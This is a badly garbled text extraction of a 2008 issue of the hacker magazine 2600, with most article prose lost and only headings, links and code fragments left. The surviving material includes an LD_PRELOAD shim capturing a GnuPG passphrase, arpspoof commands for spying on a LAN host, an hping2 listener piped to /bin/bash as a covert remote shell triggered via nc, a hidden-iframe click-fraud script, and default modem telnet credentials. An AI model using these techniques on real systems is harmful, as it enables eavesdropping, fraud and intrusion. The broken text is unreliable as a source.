










2008 COVERS
The   overreaching   theme   of   this   year’s   covers   was   the   death   of  

technologies.

Spring  featured  our  payphone  shrine,  which  depicted  a  memorial   for  

For   Summer,  we   focused   on   the   death   of   radio.  This   cover   featured  

the   Shadow   of   Death   hovering  with   his   scimitar.   There   is   an   elephant  

being  carried  by  a  hot  air  balloon,  because  the  helicopter  had  not  yet  been  

-

The  demise  of   the  mechanical  voting  booth  made  up   the   face  of  our  

-

ical  voting  booth.  There  is  a  secret  binary  message  encoded  in  the  tally  

(The  analog  voting  booths  have  been  all  but  replaced  by  unaccountable  

digital  models  where  one  number  could  easily  be  represented  by  another  

a  TV  with  rabbit  ears  thrown  into  an  old  metal  garbage  can.  The  picture  

Orwell's  1984 -

tion  -   it  could  be  for   those  who  upgraded   the   television  standard  or   for  
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We know all too well how trends turn into 
-
-

-

-

-
-

website, or just lost when a laptop was stolen 

-

-

The  Whole  
World's  
Watching
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listening to right now.

no

-

illusion

building while being told that this somehow 

-

-

-

-

-

-

-

-

in illegal and warrantless wiretaps to be retro-

-

would appear this has nothing at all to do with 

the moment at least, remains in our hands and 

-

-
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Vhreaking 
with VoxALot

by J.R. Vela
jrvela@aristasol.com

-
-

-

-

ATA: -

BYOD:

Device Registration (Register): When an 

-

DID:

PBX: 

PSTN: 
This is the good old telephone network that 

PSTN Gateway:

SIP: 
-

-

SIP Client:

SIP Proxy:
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SIP Server:
-

SIP Network: 

VoIP Soft Phone (Softphone): -
-

VoIP Telephone or IP Phone: 
that looks like a traditional telephone, but it is 

VSP: 

http://www. 

counterpath.com/

http://www.voxalot.com  

plans, and allows us to use other VSPs to make 

the domain, voxalot.com
us.voxalot.com

http://www. 

v o x a l o t . c o m / a c t i o n / t u t o r i a l ? 

itemOID=69

sip:112600@voxalot. 

com

http://www.sipbroker.com/  

861234@fwd.pulver.com, 

-

http://www.sipbroker.com  

http://www.sipbroker.com/
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makes this possible, but people are not used 

http://www.ipkall.com/ 

us.voxalot.com

http://www. 

callcentric.com

-

 
http://www.callcentric.com/

-

112600@us.voxalot.com  

-

http://www.voxalot.com/action/ 

tutorialList

-

-

 
http://www.pennytel.com/

-

http://www.justvoip.com

-

-
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Dirt-Cheap Phone 
Calls the VoIP way

 
sip:112600@us.voxalot.com  

http://www.e164.org/  

-

-

http://www.voip-info.org/  

by SiliconeClone

 
www.freeworlddialup.com
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www.skype.com  

-

Setup

Needed Hardware

http:// 
vital.pri.ee/PSTN/

wanted a smooth hardware setup, so I suggest the 
 

 
Hardware Setup

forums.freeworlddialup.com

-

port 2 

password 

-
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by The Thomps

Credits

(a) Read your bill

(b) The rep is your friend

-

(c) Never forget the SOA (Schedule of Autho-
rization)

-

-

-

(d) Don't bother with a Supervisor -

e) Never mention your contract

Gaming 
AT&T Mobéity
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(f) Play rep lotto

Free Phones

Free Airtime

-



Telecom Informer
by The Prophet

-

-

-

-

-

Los 
Angeles Times.

-
-

$2.49 - monthly billing fee
$1.49 - bill processing charge
$3.95 - operator service fee
$.89 - call charge, billed per minute
$.40 - voice biometrics charge, billed per call
$1.00 - USF administrative fee, billed per call

-

$10.22

-

-

draw attention to this situation, and a pressure 

-

-
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-

-

-

-

-

-

• 

• 

-

• 

• 
-

-

Links
http://www.etccampaign.com/ - 

http://www.globaltellink.com/ - 
-

http://www.securustech.net/ - 

http://www.texasinmatephones.com/ - 
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by Agent Zer0
agentzr0@gmail.com

-

-

-

-

-

• 

• 

• 

• 

-

-

• 

• 

• 

Password 
Memorization 

Mnemonic
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so original or brand spanking new that 

-

but it has been taken, and it has gotten 

by glutton

-

Know Your Codes

AZTEC:

Semacode:

-

QR Code:
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Hacking 
Two-‐Dimensional Barcodes



Maxi Code:

-

-

Security by Obscurity

-

-

that most people are either too ignorant or too 

-

would-be shoppers to sites detailing the sweat-

Code Cloning

2600 where 

-
-

-

-

-

The Future of Matrix Codes
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Dissecting the EPC:
RFID for the commercial sector

by Kn1ghtl0rd
kn1ghtl0rd@hotmail.com

-

-

-
mation is put onto the tag and how it is inter-

-

• 
• 

• 

• 
• 

• 

• 

-
-

-
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-

-

 
 

-

-

the spreadsheet at http://infonomicon. 
org/rfid/Live%20Stores.xls

-
http://infonomicon. 

org/rfid/RFID%20Guidelines%20and% 
20Requirements.pdf

http:// 
www.technoriversoft.com/doc/ 
smartrfid.pdf

-

-
http://infonom 

icon.org/rfid/epc-standards.pdf
-

Shoutz: droops, morgellon, dosman, zach, 
goatse, cs_weasel, mirovengi, coldsteal, operat0r, 
phizone, slick0, and the rest of the Infonomicon 
crew. Also thanks to the DDP for keeping it real.
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by phundie
phundie@yahoo.com

-

PATH

LD_PRELOAD
LD_PRELOAD -

LD_PRELOAD

-

2

passphrase.c
read_ 

passphrase_from_fd()

void read_passphrase_from_fd( int fd )
{
  int i, len;
  char *pw;
  ....
      while (!(read (fd, buf, 1)  

!= 1 || *buf == '\n' ))
  ....
              memcpy(pw, pw2, i );
              xfree (pw2);
  ....
      if (read( fd, pw+i, 1) != 1 

|| pw[i] == '\n' )
        break;
    }
  fd_passwd = pw;
}

that our best targets are read() and memcpy()

eve.c -
loads read() and memcpy()
read() read()

memcpy()

-

-

getenv()
LD_PRELOAD

eve.c to a .so
gcc -fPIC -c eve.c; ld -shared  

Eavesdropping with
db      d8888b.         d8888b. d8888b. d88888b db       .d88b.   .d8b.  d8888b.
88      88  `8D         88  `8D 88  `8D 88'     88      .8P  Y8. d8' `8b 88  `8D
88      88   88         88oodD' 88oobY' 88ooooo 88      88    88 88ooo88 88   88
88      88   88         88~~~   88`8b   88~~~~~ 88      88    88 88~~~88 88   88
88booo. 88  .8D         88      88 `88. 88.     88booo. `8b  d8' 88   88 88  .8D
Y88888P Y8888D' C88888D 88      88   YD Y88888P Y88888P  `Y88P'  YP   YP Y8888D'
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The Last HOPE
HOtel PEnnsylvania

New York City

LIBERTY, HUMANITY, JUSTICE, EQUALITY

-Bsymbolic -o eve.so eve.o -lc -ldl 
and uploaded eve.so

LD_
PRELOAD

eve.so

-
ated with 
echo This is Plaintext | gpg -c

memcpy()
READ:
FD: 3
BUF: p
SIZE: 1
-------------------
READ:
FD: 3
BUF: h
SIZE: 1
-------------------
READ:
FD: 3
BUF: r
SIZE: 1
-------------------
READ:
FD: 3
BUF: a
SIZE: 1
-------------------
READ:
FD: 3
BUF: c
SIZE: 1
-------------------
READ:
FD: 3
BUF: k
SIZE: 1
-------------------
MEMCPY: 
SRC: This is Plaintext

using getenv()
-

strncmp()
strncmp()

strncmp() 

LD_PRELOAD 

Shouts still go out to Sryth and Wipe0ut for 
years of beer and code; battles with squirrels and 
other sundry adventures.

References and Further Reading
http://developers.sun.com/solaris/ 

articles/lib_interposers.html
2http://packetstormsecurity.org/UNIX/ 

misc/fakedate-v1.0.tar.gz

http://neworder.box.sk/newsread.php 

?newsid=13857

http://www.uberhip.com/godber/ 

interception/index.html

The scripts mentioned in this article 
can be downloaded from the 2600 

Code Repository at 
http://www.2600.com/code/
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   #                  #  ##    ######               ##            ######                 
   ##                     #     #   #                #       ##    #    #                
  ###                     #     #  #                 #        #    #     #               
  #  #   #####  #### ##   #     ####   ####   ####   #  ####       #     # ####  ###  ## 
 #####    #   #  # #  #   #     #  #  ##  ## ##  ##  #  #  #       #     #    #   ##  #  
 #   ##   #   #  #    #   #     #     #    # #    #  #   ##        #     # ####    # ##  
##    #   #   #  #    #   #     #     ##  ## ##  ##  #  #  #       #    #  #  #    # #   
##   ###  ####  ###  ### ###   ###     ####   ####  ### ####      ######   #####    #    
          #                                                                        #    
         ###                                                                     ##    

~|~|_  _   |_| _  _|  _  _  \    / _   
 | | |(/_  | |(_|(_|<(/_|    \/\/ (_|\/
                                     /

by xinit

-

-

-
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by silic0nsilence
www.silic0nsilence.com
2600@silic0nsilence.com

-

-

-

Shouts: Baby Girl, All laid-off CompUSA Employees

 Remember CompUSA

What is HOPE? (part one)

The Hackers On Planet Earth conferences started in 1994 and have brought the world 
of hackers to the middle of New York City. They’ve also brought a fascinating world 
to hackers, in the form of really diverse and interesting speakers from Steve Wozniak 
and Richard Stallman to Aaron McGruder and Jello Biafra plus many, many more. 

Speakers are only one part of our conferences. 
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Downloading MP3s From 

www.allofmp3.com For Free

by He-Who-Must-Not-Be-Named

allofmp3.com, mp3sparks.com, and their 

-

 
 

www.allofmp3.com

The Procedure
www.mp3sparks.

com has not been shut down, we will use this 

www.mp3sparks.com

In another window or tab, go to www.10minute 
mail.com 

www.mp3sparks.com

www.10minutemail 
.com 

The Secret

download, we instead use www.10minutemail. 
com

www.mp3Sparks.com, www.mp3sugar.com,
www.mp3search.ru, www.mp3stor.com,
www.mp3fiesta.com, www.mp3legal.org,
www.mp3search.ru, www.mp3ninja.com,
www.mp3skyline.com, www.mp3sale.com,
www.mp3stor.com, www.isound.be,
and www.lavamus.com

2600

What is HOPE? (part two)

The Last HOPE also will have a massive network area, plenty of space for games 
and contests, a huge hardware section (including lockpicking), hacker movies, and 
vendor space. It’s three days and nights of action-packed excitement and learning, all 

at the historic (and still standing) Hotel Pennsylvania.

(See part three for info on how to attend)
(Just move your eyes to the right a bit.)
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Swindling From 
SearchFeed

by AtomicRhino
AnAtomicRhino@gmail.com

<script>
listings = new Array ();
</script>
<script src="http://www.searchfeed. 

com/rd/feed/JavaScriptFeed.jsp?cat=key 
word&trackID=XXXXXXXXXX&pID=XXXXXX&nl= 
5&excID="></script>
<script>
if (listings != null && listings. 

length > 0) {
document.write("<table border=0 cell 

padding=0 cellspacing=0 width=100%>");
document.write("<tr><td  

colspan=3><img src='http://www.search 
feed.com/Images/pixel.gif' height=4></ 
td></tr>");
document.write("<tr>");
document.write("<td><img src='http:// 

www.searchfeed.com/Images/pixel.gif'  
width=4></td>");
document.write("<td width='100%'>");
for (i = 0; i < listings.length; i++) {

var title = listings[i].title;
if (listings[i].title.length > 150)
title = listings[i].title.

substring(0,  
150) + "...";
document.write("<a href='" + listings 

[i].uri +"'><font face='verdana,sans-
serif' size='1'><b>" + title + "</b></ 
font></a><br>");

listings[i].
uri

don't

<?php
  if(!isset($_ 

COOKIE['SearchFeedCookie']) {
    $value = rand(3600, 37000);
    setcookie("SearchFeedCookie",  

$value);
    print '<script>';
    print 'document.write("<iframe  
src=\'" + listings[1].uri + "\'  
width=0 height=0></iframe>")';
    print '</script>';
  }
?>

rand(0, 4)

What is HOPE? (part three)

Hi there. You can preregister for The Last HOPE for $75 for all three days. You can do 
this online at http://www.hope.net or by sending a check or money order (U.S. funds) 

to The Last HOPE, c/o 2600, PO Box 752, Middle Island, NY 11953 USA.

July 18, 2008 - July 20, 2008
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Martin Eberhard

Hacker Perspective

“How long can the regime control what 
people are allowed to know, without the people 
caring enough to object? On current evidence, 
for quite a while.

The Atlantic

made me think about how to get around the 

-

th -
-

-

-
-

-

-

-

-

-

-

-

-
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-

-

-

-

New York Times 

Strategies to protect your privacy:

 
http://ipid.shat.net/

• 

• 

• 
• 
• 

• 

• 

• 
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-

-

• 

• 

• 

• 

• 

• 
• 
• 

•  

• 

• 
• 

running should be good enough, perhaps 

-

Martin Eberhard has founded three compa-
nies: Tesla Motors, NuvoMedia (makers of the 
Rocket eBook), and NCD Inc. His interest in 
tech probably started when he disassembled 
his father’s snazzy Omega Seamaster watch 
when he was six, though the experience of 
trying to get it back together again (and his 
father’s wrath at his failure to do so) led him to 
go get an engineering degree or two, so that he 
actually knew what he was doing.
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Bypassing a Restrictive 
Internet Proxy

by Anonymous

Background

the internal Intranet to the Internet, we must use 

-

|Client| -> |Intranet| ->  

|Proxy| |Filter| -> Internet

Server Side

sshd.conf
ListenAddress 192.168.0.1:443    
# replace with an available IP

-

 
pop.myip.com
mentioned earlier?

Client Side

|Client| -> |Dynamic Port| -> |Internet|

Session: 

Connection:

SSH:

httpd.conf 

2 is a 

-

-
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Shadow Life
by Akasha

2600
-

are

-

Step 1: Create a name.

Step 2: E-mail. 

J.Smith07@ 
address.com

to hushmail.com

Step 3: Fake wallet.

-

Step 4: MasterCard/Visa/American Express 
gift cards.

Step 5: Cell phones. 

all

about:config
option network.proxy.socks_remote_dns to 

-
mand option  
~/.ssh/config

Host pop.myip.com
ProxyCommand corkscrew proxy 80 pop. 

myip.com 443 /home/user/.authfile
 TCPKeepAlive yes

ssh -D 8080 pop.myip.com

Conclusion

-

Resources
http://www.opennetinitiative.net/ 

studies/iran/
2http://httpd.apache.org/docs/
https://addons.mozilla.org/en-US/ 

firefox/addon/125
http://www.agroman.net/corkscrew/
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by Phlux 

Intro

-

Caution!

-
-

.

Hackers and Phreakers

Knowing What to Avoid

-

gang members and other people who use it, the 

Walk with me, 
talk with me
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Dangerous Minds where 

-

-

Amor de Rey

http://en.wikipedia.org/wiki/1-8-7

Walk the Walk

-
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• 
• 
• 
• 
• 
• 
• 
• 
• 

• 

Outro

W x Y

Beavis and Butthead

x_X or o_0

C(_)

o_0 sign and 

<3
O Magazine

Links
http:// 

www.youtube.com/watch?v=6B4MDVIsLN0

http://www.chicagogangs. 
org/index.php?pr=HAND_MAIN&nosession 
kill=1

http://www.youtube. 
com/watch?v=V-4jJAK767E

http:// 
www.youtube.com/watch?v=SiDaXAA5hyk

http://jeroenarendsen.nl/ 
2007/01/ms13-and-other-gangs-gestures/

http://www.youtube. 
com/watch?v=1S2nBKQayVM

h t t p : / / w w w . y o u t u b e . c o m / w a t c h ? 
v=qZOzIQkMwKc

NEW STUFF!
2600 SWEATSHIRTS - THE SECOND EDITION

We now have a completely new style of hooded sweatshirt in addition to our standard 
black pullover design. These new ones are gray in color and have a zippered front. Big 
red numbers proclaim “2600” for those who see you coming and big red letters in the 
back spell out “HACKER” for those who wonder who it was that just went past. (If 

you’re trying to hide the fact that you’re a hacker, this may not be the sweatshirt for you.)

Available in sizes L, XL, and XXL for $35 (outside the U.S. and Canada add $10 for shipping). 
Send check or money order to address below or visit store.2600.com.

(Additional sizes will be stocked if enough people ask for them.)
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Fun With the 
Snom Outlook 

Add-on
by reid

http://www. 
snom.com/download/share/snom-Outlook- 
Addin.zip

http://wiki. 
snom.com/Outlook_Add_In

GET /index. 
htm?number=1234567890

-

-

C:\>nmap 10.10.10.0/24
Interesting ports on Jim-snom.
mycompany.net (10.10.10.110):
Not shown: 1678 closed ports
PORT    STATE SERVICE
80/tcp  open  http
443/tcp open https

-
-
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The EU Directive 
on Data Retention: 
Surveillance 2.0 

by Andreas Rietzler
Andreas.Rietzler@uni-konstanz.de

“It remains easy for criminals to avoid detec-
tion through fairly simple means; for example, 
mobile phone cards can be purchased from 
foreign providers and frequently switched. The 
result would be that a vast effort is made with 
little more effect on criminals and terrorists than 
to slightly irritate them. Activities like these are 

ability to deliver solutions to their demand for 
protection against serious crime and terrorism.”

-

It has already begun

-

-

-

Political background 

(This goes back and forth a few times before 
Alice checks her caller ID to see what crackhead 
she's talking to.)

long as the number dialed is within the allowed 

-
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-

Surveillance 2.0 

Subscriber Information: 

-

Telephony Data: 

-

-

SMS, EMS and MMS Data:

Email Data: -

-

Spurious arguments and human rights 

-

-

-
-

-

-

-

-
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-
-

-

Data retention in the US 

-

-
-

Where will it end?
-

-

-

-

-

Sources 

Sources in English:
h t t p : / / e n . w i k i p e d i a . o r g / w i k i / 
Data_retention

http://www.breyers.de/
http://www.tkg-verfassungsbeschwerde. 
de/data_retention_and_human_rights_ 
essay.pdf

http://europa.eu.int/eur-lex/lex/ 
LexUriServ/site/en/oj/2006/l_105/ 
l_10520060413en00540063.pdf

http://www.ipjur.com/2007/01/german- 
government-passes-bill-for.php3

http://conventions.coe.int/Treaty/en/ 
Treaties/Html/009.htm

http://conventions.coe.int/treaty/en/ 
Treaties/Html/005.htm

h t t p : / / w w w . e u r o c o p - p o l i c e . o r g / 
pressreleases/press%20releases.htm

h t t p : / / w w w . w a s h i n g t o n p o s t . c o m / 
wp-dyn/content/article/2005/11/05/ 
A R 2 0 0 5 1 1 0 5 0 1 3 6 6 . h t m l ? n a v = r s s 
_technology

http://www.privacyinternational.org/ 
article.shtml?cmd%5B347%5D=x-347-5372 
26 

http://www.nytimes.com/2006/06/02/ 
washington/02records.html?_r=2&oref= 
slogin&oref=slogin 

http://yro.slashdot.org/article. 
pl?sid=06/06/02/1238237 

h t t p : / / e n . w i k i p e d i a . o r g / w i k i / 
National_Security_Letter 

http://retroshare.sourceforge.net/ 
http://forum.i2p.net/ 

Sources in German:
http://de.indymedia.org/2007/01/165957 
.shtml

h t t p : / / d e . w i k i p e d i a . o r g / w i k i / 
Vorratsdatenspeicherung

http://de.wikipedia.org/wiki/Richtlinie 
_%C3%BCber_die_Vorratsdatenspeicherung

http://www.vorratsdatenspeicherung.de/
http://www.datenschutzverein.de/
h t t p : / / f u t u r e z o n e . o r f . a t / i t / 
stories/223854/

Special thanks to ILF, Dirk Weil, and Niamh Murphy. 
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Transmissions
by Dragorn

-

-
-

-

-

-

-

-

-
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Wednesdays,  1900-2000  ET
WBAI  99.5  FM,  New  York  City  

and  at  http://www.2600.com/offthehook  over  the  net

Now  you  can  get  every  single  show  ever  recorded  for  the  past  20  
Off  The  Hook  

is  in  full  stereo,  128kbps,  44kHz.  (The  version  found  on  our  website  
is  mono,  16kbps,  16kHz.)  All  shows  are  in  DRM-free  MP3  format.  

You  can  copy  them  to  any  audio  device  you  wish.

Right  now  these  shows  take  up  18  full  DVDs.  You  can  get  all  of  
these  plus  every  year  we  produce  in  the  future  for  a  total  of  $150.  
(New  years  are  sent  out  the  following  January.)  You  can  also  get  

encompasses  1988  through  1990.  All  other  DVDs  contain  one  year.)

Send  check  or  money  order  (U.S.  funds)  to:
Off  The  Hook
c/o  2600
PO  Box  752

Middle  Island,  NY  11953  USA

or  purchase  from  our  online  store  using  credit  card  or  PayPal  at  
http://store.2600.com

Call  us  during  the  show  at  +1  212  209  2900.
Email  oth@2600.com  with  your  comments.

And  yes,  we  are  interested  in  simulcasting  on  other  stations  or  via  satellite.  

-

-
-

-

OFF THE HOOK
Technology from a Hacker Perspective



-
-

-

-

deleted, where to report an administrator who is 
abusing his or her power, where to report a page 

Experiments

-
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Information Flow on Campus:

A Closer Look At 

Wikipedia

by Barrett Brown

Process

-

-

-



-

during World War II and the Korean War, and 

Analysis

-

-
-

-

-

To the Knights Templar page, I added a legend 

-

-

-
-
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-

-

-

-

religious group is using Wikipedia to ensure that 

-
-

-

appeared to lean towards deletion, and so did all 

-

Conclusion

-

-

-

-

-
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-

-

-

Glossary
Wikipedia

Wikipedia Editor (Editor)

Anonymous Editor

New Editor

Established Editor

Administrator

Edit History

Page Rank

Neutral Point of View (NPOV)

Point of View (POV) Pushing

Administrative Pages

Articles for Deletion (AfD)

Administrative Notice of Incidents (ANI)

-

Out-of-Process

Wiki-lawyering -
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THE DIGITAL MILLENNIUM 
COFFEE MUGS

Yes, you read that right. 2600 now has ceramic coffee 
mugs designed with the DMCA (Digital Millennium Cof-
fee Act) in mind. The 2600 seal appears on the front and 
the various restrictions of the mug’s use appear on the back. 

(It is a violation of the DMCA to use this mug for tea.). 
2600, PO Box 752, Middle Island, NY 11953 USA

Available with white lettering on a black mug or black lettering on a white mug. 
$15 each or 2 for $25 (outside the U.S. and Canada add $10 each for shipping 

- sorry, these things are heavy)
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Uses For 

Knoppix
by Variable Rush

-

-
http://www.knoppix. 

net/

-
-

-

Secret_Data.txt on the desktops 
-



-

-
The Best of 2600: 

A Hacker Odyssey.

-

was still this link to the past, where main-

and paranoia but now it had graduated to 

The Best of Times
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the writing has more or less remained 
-

thread that ran between them, it was just 

The Best 
of 2600,

are

2600

-

new arena and to open some doors in what 

things used to work, both big things and 

-

different 

relevant 

The Best of 2600
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Don't 
'Locate Me'

by Terry Stenvold
thebmxr@gmail.com

Disclaimer

General Information

 
http://www.skyhookwireless.com/

-

-

-

people to lotabase besides unplugging the 

-

-

Requirements

Scripts
 

skyhack.sh

-

delbr0.sh

Step 1: Gaining the 
MAC address of a victim 
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-

arp -a“

Step 2: Setting up your computer

-

./skyhack.sh 00:00:00:00:00:00

Step 3: Finding the 
approximate location

then be used to load a website to guarantee 

Step 4: Locating victims' 
exact locations

run ./delbr0.sh

Prevention

intruders to nowhere or will point them to 

Notes

-
ath0, wifi0, and eth0

ath0 to eth1 or wlan0 is all that 
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Exploring Road Runner's
Internal Network

by Tim

-

internal IP address granted to the modem, 

-

-

-

-

-

Knowing that this IP address would not be 

and established an entire subnet without me 
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-

-

support and asked to speak to someone in 

-

see these internal IP addresses, it means that 
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Hacking Wireless 

Networks with Windows

-sV

-

-
-

-

location loca-
tion

http://tools. 
tampabay.rr.com -

by Carbide

in 2600
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2

and then re-enabled, and then it should 

-

-

-

-

-
-

References
 http://www.wayport.net/

2 http://www.kaboodle.org/
http://tmac.technitium.com/ 
tmac/

Thanks: Droid for telling me about 
this method and the author of the 2600 

article about it.
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The  HughesNet  FAP

by ntbnnt

-

listening to internet radio, or downloading 

-

-

to 192.168.0.1:23 and entering the 
username brighton and the password 
swordfish

There is a separate telnet daemon 

its power at 192.168.0.1:1953, and 

http://192.168.0.1, but it 

?

-

rd
-
-

http://192.168.0.1/ 

fs/registration/setup.html 

http://192.168.0.1, 

-

-

Shouts to h3xis, who taught me about 

and introduced me to 2600.



world, people head outdoors and make the most 

-
-

-

HLR

-

-

-

-

MSC

Telecom Informer
by The Prophet
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-

VLR
-

MXE/MC

SMSC

-

Figure 1: Mobile SMS Origination

Diagram drawn by Carre

Figure 2: Mobile SMS Termination

Diagram drawn by Carre

Billing

-

-

who negotiate wholesale billing arrangements on 

References
http://www.nowsms.com/discus/ 

messages/1/1103.html - This message board 

http://www.nortel.com/solutions/ 

wireless/collateral/nn117101.pdf

http://www.eventhelix.com/Realtime 

Mantra/Telecom/ 

http://en.wikipedia.org/wiki/GSM_ 

services
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Hacking

SOciety

by Barrett Brown

opponent
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-

-

Send your article to articles@2600.com (ASCII text preferred, 

graphics can be attached) or mail it to us at 2600 Editorial Dept., 

PO Box 99, Middle Island, NY 11953-0099 USA. If you go the snail 

mail route, please try to include a CD copy so we don’t have to 

retype the whole thing if we decide to use it.

Articles must not have already appeared in another publication or on the Internet. 

Once published in 2600, you may do whatever you please with your article.

WRITERS WANTED



Thirteen Years of 

Starting a Hacker Scene

by Derneval Ribeiro Rodrigues da Cunha

-

-

Wargames

-

was just starting to know about the internet, just 

-

publish this or that, sometimes rewrote things, 

-

helped it to be uploaded to and downloaded 

Barata Eletrica 
Electric Cockroach

soc.culture.brazil  
-

etext.org

 
barataeletrica.cjb.net

Soon people started to write other, more 
Axur 05, 

Nethack
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troublesome to make that I turned it in a blog 
barataeletrica.blogspot.com

-

meetings, and people were talking about it 

Internet World surprised me 
-

-

setting up an enterprise, I enrolled in a post-

People kept pressing me to write a book 

Barata Eletrica

-

-
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-

-

to learn about it, how to relate to the press and 

-

-

-

Barata Eletrica, is 

-
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by Gr@ve_Rose

2600

2600

-

http://www.hping.org

HPing Basics

-

[root@doormouse ~]# hping2  
localhost -S -p 22

HPING localhost (lo 127.0.0.1): S set, 
40 headers + 0 data bytes len=44  
ip=127.0.0.1 ttl=64 DF id=0 sport=22 
flags=SA seq=0 win=32792 rtt=0.2 ms

-S

flags=SA

10.20.30.0/24 

[root@doormouse ~]# hping2  
localhost -FPU -p 999

HPING localhost (lo 127.0.0.1): FPU  
set, 40 headers + 0 data bytes
len=40 ip=127.0.0.1 ttl=64 DF id=0  
sport=999 flags=RA seq=0 win=0 rtt=0.1 ms

[root@doormouse ~]# hping2 210.210.210.1 -2
HPING 210.210.210.1 (eth0 210.210.210.1):  

udp mode set, 28 headers + 0 data bytes
ICMP Port Unreachable from  

ip=210.210.210.1 name=my.firewall

on that host, we still know that the IP address is 
-

 
“hping2 localhost -0 -V -H 41

[root@doormouse ~]# tcpdump -n -vv  
-e -s 1514 -X -i lo proto 41

tcpdump: listening on lo, link-type EN10MB  
(Ethernet), capture size 1514 bytes

13:33:08.025555 00:00:00:00:00:00 >  
00:00:00:00:00:00, ethertype IPv4

(0x0800), length 34: (tos 0x0, ttl 64,  
id 8251, offset 0, flags [none],

proto IPv6 (41), length 20) 127.0.0.1  
> 127.0.0.1: [|ip6]

0x0000:  4500 0014 203b 0000 4029 5c84  
7f00 0001  E....;..@)\.....

0x0010:  7f00 0001               ....
13:33:09.025631 00:00:00:00:00:00 >  

00:00:00:00:00:00, ethertype IPv4
(0x0800), length 34: (tos 0x0, ttl 64,  

id 41944, offset 0, flags [none],
proto IPv6 (41), length 20) 127.0.0.1  

> 127.0.0.1: [|ip6]
0x0000:  4500 0014 a3d8 0000 4029 d8e6  

7f00 0001  E.......@)......
0x0010:  7f00 0001              ....
13:33:10.026089 00:00:00:00:00:00 >  

00:00:00:00:00:00, ethertype IPv4
(0x0800), length 34: (tos 0x0, ttl 64,  

id 18791, offset 0, flags [none],
proto IPv6 (41), length 20) 127.0.0.1  

> 127.0.0.1: [|ip6]
0x0000:  4500 0014 4967 0000 4029 3358  

7f00 0001  E...Ig..@)3X....
0x0010:  7f00 0001               ....

888    888 8888888b.  d8b                   
888    888 888   Y88b Y8P                   
888    888 888    888                       
8888888888 888   d88P 888 88888b.   .d88b.  
888    888 8888888P"  888 888 "88b d88P"88b 
888    888 888        888 888  888 888  888 
888    888 888        888 888  888 Y88b 888 
888    888 888        888 888  888  "Y88888 
                                        888 
            (The Part I Forgot)         Y8b d88P 
                                    "Y88P"  
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Advanced Features

[root@doormouse ~]# hping2 localhost  
--listen signature --safe --icmp

Warning: Unable to guess  
the output interface

hping2 listen mode
[main] memlockall(): Success
Warning: can't disable memory paging!

[root@doormouse temp]# hping2 localhost 
--icmp  
-d 100 --sign signature 

--file ./random.stuff
HPING localhost (lo 127.0.0.1): icmp  
mode set, 28 headers + 100 data bytes

[main] memlockall(): Success
Warning: can't disable memory paging!
len=128 ip=127.0.0.1 ttl=64 id=12770 icmp_
seq=0 
rtt=0.3 ms

len=128 ip=127.0.0.1 ttl=64 id=12773 icmp_
seq=1 
rtt=0.1 ms

len=128 ip=127.0.0.1 ttl=64 id=12775 icmp_
seq=2 
rtt=0.2 ms

len=128 ip=127.0.0.1 ttl=64 id=12777 icmp_
seq=3 
rtt=0.2 ms

--- localhost hping statistic ---
4 packets tramitted, 4 packets 
received, 0% packet loss
round-trip min/avg/max = 0.1/0.2/0.3 ms

hping2 listen mode
[main] memlockall(): Success
Warning: can't disable memory paging!
Line 1
Line 2
Line 3
Line 4
End of Important File

-

[root@doormouse ~]# netstat -na 
| grep LIST | grep 631
tcp        0      0 127.0.0.1:631              
0.0.0.0:*                   LISTEN     
[root@doormouse ~]# hping2 localhost  
--listen signature --safe -p 631

Warning: Unable to guess 
the output interface
hping2 listen mode
[main] memlockall(): Success
Warning: can't disable memory paging!
Line 1
Line 2
Line 3
Line 4
End of Important File

[root@doormouse temp]# hping2 localhost -p 
631  
-d 100 --sign signature 

--file ./random.stuff
HPING localhost (lo 127.0.0.1): NO FLAGS 
are set, 
40 headers + 100 data bytes

[main] memlockall(): Success
Warning: can't disable memory paging!
len=40 ip=127.0.0.1 ttl=64 DF id=0 
sport=631 flags=RA seq=0 win=0 rtt=0.0 ms

hping2 
-I eth0 --listen signature -p 80 |
/bin/bash -

echo "signaturereboot;" 
| nc 333.444.555.666 80

/bin/bash

use signaturetouch remote.touched.file  

ls  
remote.touched.file

daemon up and running all the time, set up 

 
signatureservice sshd start;

Conclusion

 

Shouts: magikh0e, Ihab, Exial, JohnPNP and, 
of course, eXoDuS. (YNBABWARL!)
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by Sai Emrys
2600@saizai.com

AIM, #ca2600: saizai
GPG: 0xAFF1F292

-

-

understand what about them makes them 

-

mushin or 

-

1. “Soft eyes”

• Where is their right hand and what 

• 

• 

• 
• 
• 

-

-

2. Really enjoying nature

Meditation for Hackers: 
All-Point Techniques
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-
ment, their latest argument, planning the 

-

-

-

3. Individuals in crowds

walked down the street?

-

The Hidden Dimension and The Silent 
Language

Conclusion

-

-

as possible but also do so without being 

-

-

-
tled A Hacker's Guide to Meditation: Prac-
tical Recipes Without the Dogma

-

Sai Emrys is a recent graduate of 
UC Berkeley in cognitive science, 
looking to do doctoral work in the 
neuroscience of empathy. Other interests 
include running the Language Creation 
Conference (conlangs.berkeley.
edu), interpreting music in American Sign 
Language (YouTube saizai), coding in Ruby 
on Rails, and consulting on international 
business.
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by Uriah C.

-

# arpspoof -i eth1 -t  
192.168.1.1 192.168.1.104

# arpspoof -i eth1 -t  
192.168.1.104 192.168.1.1
Then, I need to make sure that I am 

# fragrouter -i eth1 -B1

arpspoof
-i

eth1 -t

-B1

# webspy -i eth1 192.168.1.104

# firefox &

-

 

Fun With 
Network 
Friends
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Hacking: A Graffiti 
Writer s Perspective

by sc0ut64
sc0ut64@yahoo.ca

generate a great response, depending on who 

• 

• 

• 

• 

• 

• 

• 

• 

Shouts: Adict, Kiwi, 
www.worldwideblackbookproject.com 
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Barry Wels

Hacker Perspective

-

-

-

-

-

-

deeper underground than most people 
knew was possible - not to mention the 

-

-

-
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and that I was determined and would 

had more material on it than the master 

-

tried to solder them on using a soldering 

I soldered a wing on one side, it would 

was that the lead was not strong enough 
to keep support the thin small wings 

Still, I had the same problem as with 

would melt at a high temperature, the 
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rib I used a soldering iron and lead-

the other side using gold solder that had a 

-
-

that

-

-

-

Barry Wels is president and founder 
of Toool, The Open Organisation Of 
Lockpickers. Toool's expertise, integ-
rity, and publications are well received 
in the lock industry, and Toool is often 
requested to do tests for lock manufac-
turers and organizations such as Dutch 
Consumer Reports. He runs a weblog at 
http://www.toool.nl/blackbag.
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A Portable Encrypted 
Linux System that RunS 
Under Microsoft Windows

by Aaron

-

Steps
1. Install TrueCrypt on your PC. 

http://www.truecrypt.com  
setup.exe

2. Make a TrueCrypt volume on the USB 
drive. 

3. Install TrueCrypt Traveler mode on 
the USB device. 

